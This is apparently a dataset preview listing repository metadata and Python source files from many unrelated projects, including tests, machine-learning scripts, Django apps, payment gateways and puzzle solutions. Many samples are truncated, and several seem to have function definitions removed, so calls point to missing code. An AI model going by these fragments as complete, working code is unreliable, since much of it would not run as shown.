hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
11 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
251
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
251
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
251
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.05M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.04M
alphanum_fraction
float64
0
1
ac5ca3d9a1b5567a5c378d005b2800a24b5822f4
1,148
py
Python
python/paddle/fluid/tests/unittests/test_python_bf16_numpy_datatype.py
L-Net-1992/Paddle
4d0ca02ba56760b456f3d4b42a538555b9b6c307
[ "Apache-2.0" ]
11
2016-08-29T07:43:26.000Z
2016-08-29T07:51:24.000Z
python/paddle/fluid/tests/unittests/test_python_bf16_numpy_datatype.py
L-Net-1992/Paddle
4d0ca02ba56760b456f3d4b42a538555b9b6c307
[ "Apache-2.0" ]
null
null
null
python/paddle/fluid/tests/unittests/test_python_bf16_numpy_datatype.py
L-Net-1992/Paddle
4d0ca02ba56760b456f3d4b42a538555b9b6c307
[ "Apache-2.0" ]
1
2021-12-09T08:59:17.000Z
2021-12-09T08:59:17.000Z
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
31.888889
74
0.718641
ac5d5c3626cc5c773bf91a5f517bfdbe0b549607
687
py
Python
tests/api/v2/test_datasources.py
droessmj/python-sdk
42ea2366d08ef5e4d1fa45029480b800352ab765
[ "MIT" ]
2
2020-09-08T20:42:05.000Z
2020-09-09T14:27:55.000Z
tests/api/v2/test_datasources.py
droessmj/python-sdk
42ea2366d08ef5e4d1fa45029480b800352ab765
[ "MIT" ]
null
null
null
tests/api/v2/test_datasources.py
droessmj/python-sdk
42ea2366d08ef5e4d1fa45029480b800352ab765
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Test suite for the community-developed Python SDK for interacting with Lacework APIs. """ import pytest from laceworksdk.api.v2.datasources import DatasourcesAPI from tests.api.test_base_endpoint import BaseEndpoint # Tests
22.9
85
0.737991
ac5ea208004616e2bfb96c0a007f009fdaeed064
2,793
py
Python
src/expand_mnist.py
whalsey/misc
8649cb070017a2a6c3c1cdd7fd1e37f45b251ef1
[ "Unlicense" ]
null
null
null
src/expand_mnist.py
whalsey/misc
8649cb070017a2a6c3c1cdd7fd1e37f45b251ef1
[ "Unlicense" ]
null
null
null
src/expand_mnist.py
whalsey/misc
8649cb070017a2a6c3c1cdd7fd1e37f45b251ef1
[ "Unlicense" ]
null
null
null
"""expand_mnist.py ~~~~~~~~~~~~~~~~~~ Take the 50,000 MNIST training images, and create an expanded set of 250,000 images, by displacing each training image up, down, left and right, by one pixel. Save the resulting file to ../data/mnist_expanded.pkl.gz. Note that this program is memory intensive, and may not run on...
29.09375
88
0.6058
ac6056041eeb8497e63663fa127d721d28fac540
17,489
py
Python
randconv/coordinator_factory.py
jm-begon/randconv
cb7438f5876c18192e8caaf3cafd88e839c26048
[ "BSD-3-Clause" ]
1
2016-08-01T08:09:28.000Z
2016-08-01T08:09:28.000Z
randconv/coordinator_factory.py
jm-begon/randconv
cb7438f5876c18192e8caaf3cafd88e839c26048
[ "BSD-3-Clause" ]
null
null
null
randconv/coordinator_factory.py
jm-begon/randconv
cb7438f5876c18192e8caaf3cafd88e839c26048
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ A set of factory function to help create usual cases of coordinator """ __author__ = "Begon Jean-Michel <jm.begon@gmail.com>" __copyright__ = "3-clause BSD License" __date__ = "20 January 2015" import math from .image import * from .util import (OddUniformGenerator, NumberGenerator, ...
40.204598
95
0.623535
ac6074b9d7933f990f474a4b8d34085357c16a13
2,944
py
Python
projections.py
barrulik/3d-projections
291770c466383c917dd68eb0ad4121195598a29f
[ "Apache-2.0" ]
1
2022-01-20T20:01:24.000Z
2022-01-20T20:01:24.000Z
projections.py
barrulik/3d-projections
291770c466383c917dd68eb0ad4121195598a29f
[ "Apache-2.0" ]
1
2022-01-20T20:01:30.000Z
2022-01-21T14:23:11.000Z
projections.py
barrulik/3d-projections
291770c466383c917dd68eb0ad4121195598a29f
[ "Apache-2.0" ]
null
null
null
import pygame import numpy as np from math import * import json WHITE = (255, 255, 255) BLACK = (0, 0, 0) RAINBOW = (0, 0, 0) rainbow = True WIDTH, HEIGHT = 800, 600 #WIDTH, HEIGHT = 1600, 900 screen = pygame.display.set_mode((WIDTH, HEIGHT)) clock = pygame.time.Clock() angle = 0 while True: # so spin rat...
27.009174
224
0.571332
ac615575fca01649282cfa5b82c564f0a14d7c09
708
py
Python
insert_data.py
Amantechcse/cricket-fantasy-game
dd256adef88de7fd4132dea55d52bfba493efa30
[ "MIT" ]
null
null
null
insert_data.py
Amantechcse/cricket-fantasy-game
dd256adef88de7fd4132dea55d52bfba493efa30
[ "MIT" ]
null
null
null
insert_data.py
Amantechcse/cricket-fantasy-game
dd256adef88de7fd4132dea55d52bfba493efa30
[ "MIT" ]
null
null
null
import sqlite3 book=sqlite3.connect("bookstore.db") curbook=book.cursor() #curbook.execute('''create table books (book_id integer primary key autoincrement , book_name text(20), author text(20), price integer);''') while True: x=input("want to enter data yes/no: ") if x=='yes': book_id=int(input("Ente...
28.32
141
0.638418
ac61daa3c54495624b8682899688bd4fd36deaca
13,110
py
Python
api/config/h5Template/tanmuContent.py
jimbunny/wedding-invitation
a3648454e1105d9362f95d9f6e69055a7522e15b
[ "MIT" ]
null
null
null
api/config/h5Template/tanmuContent.py
jimbunny/wedding-invitation
a3648454e1105d9362f95d9f6e69055a7522e15b
[ "MIT" ]
null
null
null
api/config/h5Template/tanmuContent.py
jimbunny/wedding-invitation
a3648454e1105d9362f95d9f6e69055a7522e15b
[ "MIT" ]
null
null
null
tanmuContent = ''' <style> .barrage-input-tip { z-index: 1999; position: absolute; left: 10px; width: 179.883px; height: 35.7422px; line-height: 35.7422px; border-radius: 35.7422px; box-sizing: border-box; color: rgb(255, 255, 255); ...
39.017857
427
0.564607
ac622bca39310127b42776aefdbd9c65467abc04
871
py
Python
example/example2.py
xrloong/xrSolver
4f36660b78456840f65215ffce0481cdc280f980
[ "Apache-2.0" ]
null
null
null
example/example2.py
xrloong/xrSolver
4f36660b78456840f65215ffce0481cdc280f980
[ "Apache-2.0" ]
null
null
null
example/example2.py
xrloong/xrSolver
4f36660b78456840f65215ffce0481cdc280f980
[ "Apache-2.0" ]
null
null
null
from xrsolver import Problem import solver # This example is the second case from https://www.youtube.com/watch?v=WJEZh7GWHnw s = solver.Solver() p = Problem() x1 = p.generateVariable("x1", lb=0, ub=3) x2 = p.generateVariable("x2", lb=0, ub=3) x3 = p.generateVariable("x3", lb=0, ub=3) x4 = p.generateVariable("x4",...
23.540541
82
0.64868
ac635fff94dc7903f590b0e63087a7ab13c8a9ab
11,669
py
Python
src/ipyradiant/visualization/explore/interactive_exploration.py
lnijhawan/ipyradiant
d804e9031ef39c1ea75fedd52d110302c065ad84
[ "BSD-3-Clause" ]
null
null
null
src/ipyradiant/visualization/explore/interactive_exploration.py
lnijhawan/ipyradiant
d804e9031ef39c1ea75fedd52d110302c065ad84
[ "BSD-3-Clause" ]
null
null
null
src/ipyradiant/visualization/explore/interactive_exploration.py
lnijhawan/ipyradiant
d804e9031ef39c1ea75fedd52d110302c065ad84
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2021 ipyradiant contributors. # Distributed under the terms of the Modified BSD License. from typing import Union import ipycytoscape as cyto import ipywidgets as W import rdflib import traitlets as trt from ipyradiant.query.api import SPARQLQueryFramer from ipyradiant.rdf2nx.uri_converter import URI...
32.504178
88
0.589768
ac64882142c0ccfa449492e6be034f7737d14e85
2,165
py
Python
src/main/serialization/codec/object/collectionCodec.py
typingtanuki/pyserialization
f4a0d9cff08b3a6ce8f83f3a258c4dce1367d151
[ "Apache-2.0" ]
null
null
null
src/main/serialization/codec/object/collectionCodec.py
typingtanuki/pyserialization
f4a0d9cff08b3a6ce8f83f3a258c4dce1367d151
[ "Apache-2.0" ]
null
null
null
src/main/serialization/codec/object/collectionCodec.py
typingtanuki/pyserialization
f4a0d9cff08b3a6ce8f83f3a258c4dce1367d151
[ "Apache-2.0" ]
null
null
null
from typing import List, TypeVar from src.main.serialization.codec.codec import Codec from src.main.serialization.codec.codecCache import CodecCache from src.main.serialization.codec.object.noneCodec import NoneCodec from src.main.serialization.codec.utils.byteIo import ByteIo from src.main.serialization.codec.utils.b...
29.657534
69
0.611085
ac64c1d7463ad68a50c3cf1fa6beb3067354a863
3,049
py
Python
pyatv/__init__.py
acheronfail/pyatv
9cb96ffcc49938c4b43c92b7b40ddcecae37e732
[ "MIT" ]
null
null
null
pyatv/__init__.py
acheronfail/pyatv
9cb96ffcc49938c4b43c92b7b40ddcecae37e732
[ "MIT" ]
128
2020-04-24T06:42:29.000Z
2021-02-19T11:34:20.000Z
pyatv/__init__.py
acheronfail/pyatv
9cb96ffcc49938c4b43c92b7b40ddcecae37e732
[ "MIT" ]
null
null
null
"""Main routines for interacting with an Apple TV.""" import asyncio import datetime # noqa from ipaddress import IPv4Address from typing import List import aiohttp from pyatv import conf, exceptions, interface from pyatv.airplay import AirPlayStreamAPI from pyatv.const import Protocol from pyatv.dmap import DmapAp...
29.317308
84
0.711053
ac65e8637b6048418cfca104d86483ce0041387d
1,323
py
Python
demessifyme/file_read_write.py
lilianluong/demessifyme
7b90611316a4fc723fe38af8fe6e1ee4209e8fd2
[ "MIT" ]
null
null
null
demessifyme/file_read_write.py
lilianluong/demessifyme
7b90611316a4fc723fe38af8fe6e1ee4209e8fd2
[ "MIT" ]
null
null
null
demessifyme/file_read_write.py
lilianluong/demessifyme
7b90611316a4fc723fe38af8fe6e1ee4209e8fd2
[ "MIT" ]
1
2020-10-10T11:13:37.000Z
2020-10-10T11:13:37.000Z
import glob import os from doc2vec import read_file, embed_document
33.075
84
0.615268
ac665b07df9871fa56973cfc475e0b3e944d2fc8
8,902
py
Python
util/third_party/tensorflow_extra/tool/tflite/tflite.py
bojanpotocnik/gecko_sdk
9e70b13fc4701459c5f8a8f5e8918ec3f5ea8903
[ "Zlib" ]
82
2016-06-29T17:24:43.000Z
2021-04-16T06:49:17.000Z
util/third_party/tensorflow_extra/tool/tflite/tflite.py
bojanpotocnik/gecko_sdk
9e70b13fc4701459c5f8a8f5e8918ec3f5ea8903
[ "Zlib" ]
2
2017-02-13T10:07:17.000Z
2017-03-22T21:28:26.000Z
util/third_party/tensorflow_extra/tool/tflite/tflite.py
bojanpotocnik/gecko_sdk
9e70b13fc4701459c5f8a8f5e8918ec3f5ea8903
[ "Zlib" ]
56
2016-08-02T10:50:50.000Z
2021-07-19T08:57:34.000Z
#!/usr/bin/env python3 import sys import os import argparse from string import Template import re # Patch site-packages to find numpy import jinja2 if sys.platform.startswith("win"): site_packages_path = os.path.abspath(os.path.join(os.path.dirname(jinja2.__file__), "../../../ext-site-packages")) else: site_packa...
30.909722
149
0.702089
ac66fd2ca8108c50a826f92ddb5befe5db26ac80
3,290
py
Python
braintree/transparent_redirect_gateway.py
eldarion/braintree_python
8be3f69fb9a4171c5e9be049c8440fcc4f79fb40
[ "MIT" ]
3
2015-11-05T08:57:12.000Z
2016-07-17T18:10:55.000Z
braintree/transparent_redirect_gateway.py
eldarion/braintree_python
8be3f69fb9a4171c5e9be049c8440fcc4f79fb40
[ "MIT" ]
null
null
null
braintree/transparent_redirect_gateway.py
eldarion/braintree_python
8be3f69fb9a4171c5e9be049c8440fcc4f79fb40
[ "MIT" ]
null
null
null
import cgi from datetime import datetime import urllib import braintree from braintree.util.crypto import Crypto from braintree.error_result import ErrorResult from braintree.exceptions.forged_query_string_error import ForgedQueryStringError from braintree.util.http import Http from braintree.successful_result import S...
40.121951
143
0.687234
ac67224e0a480ab178264f670f037b9c677d4fdc
358
py
Python
paint/migrations/0007_auto_20200405_1748.py
atulk17/Paint-App
4b56455596d140cee4a9b19c71fe82364c3f3b7c
[ "BSD-2-Clause" ]
null
null
null
paint/migrations/0007_auto_20200405_1748.py
atulk17/Paint-App
4b56455596d140cee4a9b19c71fe82364c3f3b7c
[ "BSD-2-Clause" ]
null
null
null
paint/migrations/0007_auto_20200405_1748.py
atulk17/Paint-App
4b56455596d140cee4a9b19c71fe82364c3f3b7c
[ "BSD-2-Clause" ]
1
2020-05-31T11:37:48.000Z
2020-05-31T11:37:48.000Z
# Generated by Django 3.0.4 on 2020-04-05 12:18 from django.db import migrations
19.888889
48
0.578212
ac681a8ffae94d52efd701e9160788c29c5b6e8c
72
py
Python
app.py
ManarAbdelkarim/-hr-managmentSystem
22d2ea340824c9533576c3e7c96296f443d7bf50
[ "MIT" ]
null
null
null
app.py
ManarAbdelkarim/-hr-managmentSystem
22d2ea340824c9533576c3e7c96296f443d7bf50
[ "MIT" ]
null
null
null
app.py
ManarAbdelkarim/-hr-managmentSystem
22d2ea340824c9533576c3e7c96296f443d7bf50
[ "MIT" ]
null
null
null
from flask import Flask app = Flask(__name__,static_folder='../static')
36
47
0.763889
ac68c7b7a0f74f060897b04d3c95265a4c3918fb
4,412
py
Python
esprit/models.py
Ken125pig/esprit
6fc6b24450627077f1d38145e14765f776feba8b
[ "Apache-2.0" ]
null
null
null
esprit/models.py
Ken125pig/esprit
6fc6b24450627077f1d38145e14765f776feba8b
[ "Apache-2.0" ]
6
2016-02-04T12:08:40.000Z
2017-12-08T15:48:35.000Z
esprit/models.py
Ken125pig/esprit
6fc6b24450627077f1d38145e14765f776feba8b
[ "Apache-2.0" ]
4
2016-09-09T11:01:27.000Z
2021-11-21T05:49:14.000Z
from copy import deepcopy import string from esprit import versions unicode_punctuation_map = dict((ord(char), None) for char in string.punctuation)
34.46875
120
0.529465
ac6bcb9638b71ebbb75437e8984e9150ca824759
2,074
py
Python
src/focus/api.py
RogerRueegg/lvw-young-talents
baf8490230230fffb232a13eb641b55ede29a710
[ "MIT" ]
1
2018-02-13T08:09:02.000Z
2018-02-13T08:09:02.000Z
src/focus/api.py
RogerRueegg/lvw-young-talents
baf8490230230fffb232a13eb641b55ede29a710
[ "MIT" ]
null
null
null
src/focus/api.py
RogerRueegg/lvw-young-talents
baf8490230230fffb232a13eb641b55ede29a710
[ "MIT" ]
null
null
null
from . import models from . import serializers from rest_framework import viewsets, permissions
29.628571
61
0.771456
ac6bff0ef28a6f43b86268b434e114b49de8f3f4
1,273
py
Python
algorithms/array/majority_element.py
kevinshenyang07/Data-Structure-and-Algo
36b02feea04b892f1256de090c4fcf7b6aa98873
[ "MIT" ]
null
null
null
algorithms/array/majority_element.py
kevinshenyang07/Data-Structure-and-Algo
36b02feea04b892f1256de090c4fcf7b6aa98873
[ "MIT" ]
null
null
null
algorithms/array/majority_element.py
kevinshenyang07/Data-Structure-and-Algo
36b02feea04b892f1256de090c4fcf7b6aa98873
[ "MIT" ]
null
null
null
# Moore Voting # Majority Element # Given an array of size n, find the majority element. # The majority element is the element that appears more than n/2 times. # assume at leat one element # Majority Element II
25.979592
75
0.495679
ac6d9ecff3da360afd64ff653a18f8313213ea89
13,844
py
Python
evmosproto/evmos/incentives/v1/incentives_pb2.py
hanchon-live/evmosproto
141f336cf027a88c5bf227ab49069dd1cf2e4853
[ "MIT" ]
null
null
null
evmosproto/evmos/incentives/v1/incentives_pb2.py
hanchon-live/evmosproto
141f336cf027a88c5bf227ab49069dd1cf2e4853
[ "MIT" ]
null
null
null
evmosproto/evmos/incentives/v1/incentives_pb2.py
hanchon-live/evmosproto
141f336cf027a88c5bf227ab49069dd1cf2e4853
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: evmos/incentives/v1/incentives.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflect...
48.069444
1,372
0.769142
ac6da0ba7a668648271540c11b0b554223adac1a
15,332
py
Python
modules/dashboard/question_editor.py
danieldanciu/schoggi
0e18f0cca58cf2318525d57691c2e674b131206d
[ "Apache-2.0" ]
null
null
null
modules/dashboard/question_editor.py
danieldanciu/schoggi
0e18f0cca58cf2318525d57691c2e674b131206d
[ "Apache-2.0" ]
null
null
null
modules/dashboard/question_editor.py
danieldanciu/schoggi
0e18f0cca58cf2318525d57691c2e674b131206d
[ "Apache-2.0" ]
null
null
null
# Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
40.560847
79
0.621706
ac6e43614244577418d650dcbc06148d7a2b0c7c
5,598
py
Python
clayful/__init__.py
Clayful/clayful-python
ddd5f1f986fb0079d5128e17f4b0fdce83b4cec1
[ "MIT" ]
null
null
null
clayful/__init__.py
Clayful/clayful-python
ddd5f1f986fb0079d5128e17f4b0fdce83b4cec1
[ "MIT" ]
3
2020-04-17T05:24:06.000Z
2022-02-10T09:00:22.000Z
clayful/__init__.py
Clayful/clayful-python
ddd5f1f986fb0079d5128e17f4b0fdce83b4cec1
[ "MIT" ]
null
null
null
import re import urllib import numbers from clayful.models import register_models from clayful.requester import request from clayful.exception import ClayfulException # Register models register_models(Clayful)
19.992857
128
0.66363
ac6eca8aa04c226da4e5ecb684240f7192f29f63
1,478
py
Python
racecar_gym/envs/scenarios.py
luigiberducci/racecar_gym
fd2ff7fb14e9319530786ef54a4a6864bf1f1c26
[ "MIT" ]
16
2020-11-27T02:55:24.000Z
2022-03-24T01:27:29.000Z
racecar_gym/envs/scenarios.py
luigiberducci/racecar_gym
fd2ff7fb14e9319530786ef54a4a6864bf1f1c26
[ "MIT" ]
5
2020-08-24T15:59:39.000Z
2020-10-20T19:45:46.000Z
racecar_gym/envs/scenarios.py
luigiberducci/racecar_gym
fd2ff7fb14e9319530786ef54a4a6864bf1f1c26
[ "MIT" ]
4
2020-10-08T16:14:19.000Z
2021-12-26T18:19:53.000Z
from dataclasses import dataclass from typing import Dict from racecar_gym.bullet import load_world, load_vehicle from racecar_gym.tasks import Task, get_task from racecar_gym.core import World, Agent from .specs import ScenarioSpec, TaskSpec
30.791667
119
0.688092
ac6eda3ee83ebc645d67258023269c71e7def1cb
26,972
py
Python
vkts/real.py
smurphik/vkts
21e16f37eebf80cd41fd02d7401e523e772e98f9
[ "MIT" ]
null
null
null
vkts/real.py
smurphik/vkts
21e16f37eebf80cd41fd02d7401e523e772e98f9
[ "MIT" ]
null
null
null
vkts/real.py
smurphik/vkts
21e16f37eebf80cd41fd02d7401e523e772e98f9
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 """Implementation of the main functions of the application: editing user data, thematic search, other console commands""" import sys import re from collections import Counter from .report import Report from . import vklib as vk from .vklib import apply_vk_method from .usrdata import UsrData fr...
38.752874
84
0.58075
ac6f2dbc609bab1cd3af2ace2bafd614f0610168
10,226
py
Python
sample_facemesh.py
swipswaps/mediapipe-python
00700129ced41dcdab174cd46454f5e7e3d9e25b
[ "Apache-2.0" ]
92
2021-03-09T08:27:17.000Z
2022-03-09T08:20:48.000Z
sample_facemesh.py
swipswaps/mediapipe-python
00700129ced41dcdab174cd46454f5e7e3d9e25b
[ "Apache-2.0" ]
1
2021-12-23T05:15:26.000Z
2022-02-21T20:35:21.000Z
sample_facemesh.py
swipswaps/mediapipe-python
00700129ced41dcdab174cd46454f5e7e3d9e25b
[ "Apache-2.0" ]
46
2021-03-08T10:24:54.000Z
2021-12-20T07:12:48.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import copy import argparse import cv2 as cv import numpy as np import mediapipe as mp from utils import CvFpsCalc if __name__ == '__main__': main()
38.588679
88
0.552415
ac6f3083292de976db6a89e3601228fd50986b48
1,413
py
Python
andromeda/modules/loans/views/inventory_loans.py
sango09/andromeda_api_rest
b4a3267146f4f9a985fb3f512e652d4ff354bba2
[ "MIT" ]
1
2021-09-08T18:58:16.000Z
2021-09-08T18:58:16.000Z
andromeda/modules/loans/views/inventory_loans.py
sango09/andromeda_api_rest
b4a3267146f4f9a985fb3f512e652d4ff354bba2
[ "MIT" ]
null
null
null
andromeda/modules/loans/views/inventory_loans.py
sango09/andromeda_api_rest
b4a3267146f4f9a985fb3f512e652d4ff354bba2
[ "MIT" ]
null
null
null
"""Vista del inventario del modulo de prestamos tecnologicos.""" # Django REST Framework from rest_framework import viewsets, mixins # Permisos from rest_framework.permissions import IsAuthenticated from andromeda.modules.inventory.permissions import IsAdmin, IsStaff # Modelos from andromeda.modules.loans.models imp...
36.230769
104
0.685775
ac6fc1b210632046a04f35464d2d89383a795143
876
py
Python
N-Gram/PlotUtils.py
FindTheTruth/Natural-Language-Processing
a52c777e505dd5ccd9f892fbf98ba50d4c29b31b
[ "Apache-2.0" ]
1
2022-03-23T09:26:59.000Z
2022-03-23T09:26:59.000Z
N-Gram/PlotUtils.py
FindTheTruth/Natural-Language-Processing
a52c777e505dd5ccd9f892fbf98ba50d4c29b31b
[ "Apache-2.0" ]
null
null
null
N-Gram/PlotUtils.py
FindTheTruth/Natural-Language-Processing
a52c777e505dd5ccd9f892fbf98ba50d4c29b31b
[ "Apache-2.0" ]
null
null
null
import matplotlib.pyplot as plt x = ["N=1", "N=2", "N=3", "N=4", "N=5","N=6"] y = [0.9365, 0.9865, 0.9895, 0.9950,0.9880,0.9615] rects = plt.barh(x, y, color=["red", "blue", "purple", "violet", "green", "black"]) for rect in rects: # rects width = rect.get_width() print(width) plt.text(width, rect.get_y(...
36.5
83
0.589041
ac70a851d5c96469acf3749c8c769ab79086f7dc
226
py
Python
tests/test_logger.py
sp-95/python-template
3d4fab175314fe2b200e77c7c71c464e897749b9
[ "MIT" ]
null
null
null
tests/test_logger.py
sp-95/python-template
3d4fab175314fe2b200e77c7c71c464e897749b9
[ "MIT" ]
null
null
null
tests/test_logger.py
sp-95/python-template
3d4fab175314fe2b200e77c7c71c464e897749b9
[ "MIT" ]
null
null
null
from _pytest.logging import LogCaptureFixture from loguru import logger
22.6
62
0.774336
ac714ac75d2b71ae4b1604d302d1232df43b166e
142
py
Python
Semana 09/fase.py
heltonricardo/grupo-estudos-maratonas-programacao
0c07d84a900858616647d07574ec56b0533cddfb
[ "MIT" ]
null
null
null
Semana 09/fase.py
heltonricardo/grupo-estudos-maratonas-programacao
0c07d84a900858616647d07574ec56b0533cddfb
[ "MIT" ]
null
null
null
Semana 09/fase.py
heltonricardo/grupo-estudos-maratonas-programacao
0c07d84a900858616647d07574ec56b0533cddfb
[ "MIT" ]
null
null
null
n, k, v = int(input()), int(input()), [] for i in range(n): v.append(int(input())) v = sorted(v, reverse=True) print(k + v[k:].count(v[k-1]))
28.4
41
0.570423
ac715495b2bb97e43a63daf0a85ca3c192ec09c8
1,160
py
Python
02_crowsnest/ragz_crowsnest.py
zrucker/tiny_python_projects
7760c9db2e89640c6485e01891a0022927a46c3b
[ "MIT" ]
null
null
null
02_crowsnest/ragz_crowsnest.py
zrucker/tiny_python_projects
7760c9db2e89640c6485e01891a0022927a46c3b
[ "MIT" ]
null
null
null
02_crowsnest/ragz_crowsnest.py
zrucker/tiny_python_projects
7760c9db2e89640c6485e01891a0022927a46c3b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """ Date : 2021-09-06 Purpose: learning to work with strings """ import argparse # -------------------------------------------------- def get_args(): """Get command-line arguments""" parser = argparse.ArgumentParser( description='Crow\'s Nest -- choose the correct article', ...
21.481481
77
0.483621
ac71f74611bb270f9befb24fa9ac317b196927ef
9,397
py
Python
lvsfunc/render.py
End-of-Eternity/lvsfunc
1c9ff7f1d9731378536fb428f077075285e25843
[ "MIT" ]
null
null
null
lvsfunc/render.py
End-of-Eternity/lvsfunc
1c9ff7f1d9731378536fb428f077075285e25843
[ "MIT" ]
null
null
null
lvsfunc/render.py
End-of-Eternity/lvsfunc
1c9ff7f1d9731378536fb428f077075285e25843
[ "MIT" ]
null
null
null
""" Clip rendering helpers. """ import vapoursynth as vs from enum import Enum from threading import Condition from typing import BinaryIO, Callable, Dict, List, Optional, TextIO, Union from concurrent.futures import Future from functools import partial from .progress import Progress, BarColumn, FPSColumn, TextColumn...
36.85098
117
0.612536
ac72f9700e343b6945d908397ce48596d4d77b7e
1,689
py
Python
geekjobs/forms.py
paconte/geekjobs
4f5f72c9a08dd4e7bf58dc68364dedce9c248c3e
[ "MIT" ]
null
null
null
geekjobs/forms.py
paconte/geekjobs
4f5f72c9a08dd4e7bf58dc68364dedce9c248c3e
[ "MIT" ]
null
null
null
geekjobs/forms.py
paconte/geekjobs
4f5f72c9a08dd4e7bf58dc68364dedce9c248c3e
[ "MIT" ]
1
2019-09-14T21:59:18.000Z
2019-09-14T21:59:18.000Z
from django import forms from django.utils.translation import ugettext_lazy as _ from geekjobs.models import Job """ class JobForm(forms.Form): title = forms.CharField(label='Job title', max_length=380) city = forms.CharField(label='City', max_length=100, required=False) state = forms.ChoiceField(label='St...
40.214286
118
0.616341
ac7444482c933dd6646be8739b9a9cde05c17711
1,133
py
Python
solutions/day3/solution.py
JavierLuna/advent-of-code-2020
57429a7973446472fffb07dc770f260160407f0c
[ "MIT" ]
1
2020-12-03T08:57:20.000Z
2020-12-03T08:57:20.000Z
solutions/day3/solution.py
JavierLuna/advent-of-code-2020
57429a7973446472fffb07dc770f260160407f0c
[ "MIT" ]
null
null
null
solutions/day3/solution.py
JavierLuna/advent-of-code-2020
57429a7973446472fffb07dc770f260160407f0c
[ "MIT" ]
null
null
null
import math from typing import Tuple, Set from solutions.runner.base_solution import BaseSolution from solutions.runner.readers.base_reader import BaseReader TREE = "#"
24.106383
85
0.579876
ac74f61ecc9c4ba33c87adf303e2474d5cc2e06f
10,003
py
Python
lib/core_tools/tools.py
rocketcapital-ai/competition_submission
bb9663dfe17733cc7de841f48e9e2770d911c599
[ "MIT" ]
1
2022-02-12T08:38:42.000Z
2022-02-12T08:38:42.000Z
lib/core_tools/tools.py
rocketcapital-ai/competition_submission
bb9663dfe17733cc7de841f48e9e2770d911c599
[ "MIT" ]
null
null
null
lib/core_tools/tools.py
rocketcapital-ai/competition_submission
bb9663dfe17733cc7de841f48e9e2770d911c599
[ "MIT" ]
null
null
null
import base58 import datetime import json import os import pandas as pd import requests import shutil import time import web3 import yaml from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from decimal import Decimal from typing import Any, Callable fro...
41.853556
148
0.674298
ac75e12c17c4b689ad5e95e21f9b92a7a82c808e
2,108
py
Python
my_loc/__init__.py
PIYUSH-GEEK/my_loc
777eeefec3bc29f03c1be956037c10bf8457dfc9
[ "MIT" ]
1
2019-08-18T07:06:36.000Z
2019-08-18T07:06:36.000Z
my_loc/__init__.py
PIYUSH-GEEK/my_loc
777eeefec3bc29f03c1be956037c10bf8457dfc9
[ "MIT" ]
null
null
null
my_loc/__init__.py
PIYUSH-GEEK/my_loc
777eeefec3bc29f03c1be956037c10bf8457dfc9
[ "MIT" ]
null
null
null
import requests from bs4 import BeautifulSoup
22.913043
80
0.624763
ac7655238bec5c95a9a31d91cc90421f9c35aee8
1,045
py
Python
Python3/03_Longest_Substring_Without_Repeating_Characters.py
yangjiahao106/LeetCode
c30ba0ef06f444951f7ab8eee495ac43613d7f4f
[ "RSA-MD" ]
1
2018-04-28T09:07:11.000Z
2018-04-28T09:07:11.000Z
Python3/03_Longest_Substring_Without_Repeating_Characters.py
yangjiahao106/LeetCode
c30ba0ef06f444951f7ab8eee495ac43613d7f4f
[ "RSA-MD" ]
1
2018-02-24T16:26:30.000Z
2018-02-24T16:26:44.000Z
Python3/03_Longest_Substring_Without_Repeating_Characters.py
yangjiahao106/LeetCode
c30ba0ef06f444951f7ab8eee495ac43613d7f4f
[ "RSA-MD" ]
null
null
null
#! python3 # __author__ = "YangJiaHao" # date: 2018/1/26 if __name__ == '__main__': solution = Solution() theMax = solution.lengthOfLongestSubstring("aaaabc") print(theMax)
23.222222
56
0.453589
ac78bb16539f516e7b674abcc8a2e5d7d2d059dd
2,636
py
Python
youwol/backends/cdn/resources_initialization.py
youwol/py-youwol
85a8877e302c9da1aea168bf1d964d19036c1134
[ "MIT" ]
null
null
null
youwol/backends/cdn/resources_initialization.py
youwol/py-youwol
85a8877e302c9da1aea168bf1d964d19036c1134
[ "MIT" ]
1
2022-03-14T09:40:15.000Z
2022-03-14T09:40:15.000Z
youwol/backends/cdn/resources_initialization.py
youwol/py-youwol
85a8877e302c9da1aea168bf1d964d19036c1134
[ "MIT" ]
null
null
null
import asyncio import os from youwol_utils import WhereClause, QueryBody, Query, Path, flatten from .configurations import Configuration from .utils import format_download_form, post_storage_by_chunk, md5_from_folder from .utils_indexing import format_doc_db_record, post_indexes, get_version_number_str
42.516129
115
0.685129
